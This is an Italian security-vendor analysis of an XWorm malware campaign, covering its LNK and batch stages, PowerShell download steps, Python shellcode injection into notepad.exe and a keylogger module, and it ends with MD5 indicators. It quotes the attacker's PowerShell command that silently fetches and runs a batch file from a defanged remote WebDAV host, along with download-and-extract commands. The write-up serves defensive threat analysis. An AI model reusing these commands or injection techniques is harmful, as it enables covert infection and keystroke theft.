XWorm: nuove tecniche di attacco sfruttano vecchi payload

Al momento stai visualizzando XWorm: nuove tecniche di attacco sfruttano vecchi payload

Introduzione

Gli attaccanti sviluppano continuamente nuove tecniche per compromettere i sistemi e rubare informazioni sensibili. Recentemente i laboratori i nostri Seqrite Security Lab hanno individuato e analizzato una campagna di infezione multi-stadio che inizia con un file LNK. Il file, distribuito via email, è progettato per attirare la vittima e indurla ad aprire una fattura tramite un browser web. Nel frattempo, in background, vengono eseguite attività dannose che portano all’infezione con XWorm.

In questa analisi vediamo i principali dettagli tecnici di XWorm. Ci soffermeremo in particolare sui vari stadi di infezione, sull’uso di PowerShell, di script Python e di payload adottati dall’attaccante. Vedremo infine i metodi di attacco che facilitano l’injection di shellcode per il payload di XWorm. Nella campagna che abbiamo analizzato, l’attaccante ha fatto uso di una vecchia variante del payload che ha le stesse funzionalità della nuova variante di XWorm, con l’unica differenza che questa variante ha il modulo Xlogger.

Catena di Infezione di XWorm

La campagna di attacco inizia con un file LNK il cui scopo è quello di convincere la vittima ad aprire ad aprire una fattura tramite browser web. In background, il file scarica un archivio ZIP contenente il file setup di Phyton. Una volta estratto, abbiamivisto che il file contiene il file di setup di Phyton e alcuni script. Nella cartella dello script, ne abbiamo individuato una dannoso “Man.py”. Questo file decripta e inietta lo shellcode dannoso nel sistema.

Il file LNK

Il file LNK esegue comandi PowerShell senza aprire alcuna cartella. Questi comandi copiano un file batch (“man.bat”) nella cartella Downloads e lo eseguono in background utilizzando il comando Start-Process, con il flag -WindowStyle Hidden, per nascondere la finestra del prompt dei comandi.

Esempio di comando:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c “Copy-Item ‘\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat’ \”$env:USERPROFILE\Downloads\”; Start-Process \”$env:USERPROFILE\Downloads\man[.]bat\” -WindowStyle Hidden”

Il File Batch

Il file batch scaricato avvia il processo di infezione distraendo la vittima con l’apertura di una fattura (PDF) in un browser web. Nel frattempo, esegue un comando PowerShell per scaricare un file ZIP, estrarne il contenuto e lanciare uno script Python che inietta shellcode malevolo nel sistema.

Download del file ZIP:

powershell -Command “& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri ‘%zipUrl%’ -OutFile ‘%destination%’ }”

Viene così scaricato, tramite Invoke-WebRequest un file dall’URL integrato. Questo file viene salavato nella cartella Download. Il file ZIP viene quindi estratto, nella stessa cartella, usando il comando PowerShell

powershell -Command “& { Expand-Archive -Path ‘%destination%’ -DestinationPath ‘%extractTo%’ -Force }

Il contenuto estratto include lo script Python “man.py”, che viene quindi eseguito per portare a termine l’infezione.

Nelle prossime immagini sono visibili lo ZIP scaricato nella cartella Download, il web browser che apre i file PDF e il Powershell usato per estrarre il file.

Script Python

Lo script Python decodifica lo shellcode crittografato utilizzando Base64 e RC4, con una chiave integrata nello script. Successivamente, utilizza la funzione VirtualProtect per modificare i permessi della memoria allocata, consentendo l’esecuzione del codice dannoso.

Injection

Lo script Python, per prima cosa, prepara lo shellcode per l’esecuzione impostando i permessi necessari, quindi lo esegue. L’iniezione avviene in un processo legittimo, come “notepad.exe”, inizialmente avviato in stato sospeso. Dopo l’iniezione, viene eseguito un Asynchronous Procedure Call (APC) che attiva l’esecuzione del codice malevolo quando il processo riprende.

Il modulo XLogger di XWorm

Questa è una vecchia variante di XWorm che è ancora attiva. Gli attaccanti stanno evidentemente cercando nuovi metodi per infettare i sistemi. La versione analizzata include un modulo denominato XLogger, che registra eventi come l’apertura di file, i tasti digitati e l’uso del browser. Le informazioni vengono archiviate localmente nel percorso Local/Temp/log.txt e possono essere esfiltrate su comando del server di controllo.

La funzionalità di Keylogger

Il modulo keylogger utilizza API come SetWindowsHookEx con il tipo di hook WH_KEYBOARD_LL per registrare le sequenze di tasti. Funzioni aggiuntive, come GetKeyboardState o ToUnicodeEx, traducono i tasti premuti in testo leggibile, considerando il layout della tastiera corrente.

Indicatori di Compromissione (IOCs) per XWorm

NOMEMD5
File LNK1556BD8155D8E9FF2DBDCD852A354B64
File BatchD0B5238A18ABC402B506F608968270DC
File ZIPC627DE3B90A0FB5CA8964026360B053A
Payload XWorm 5EDAB6926E304E4DBEF76800918BEE8A

Protezione

  • Trojan.Xworm.S34251703
  • Trojan.GenericFC.S29960909

Per il testo completo e i riferimenti MITRE vedi il report originale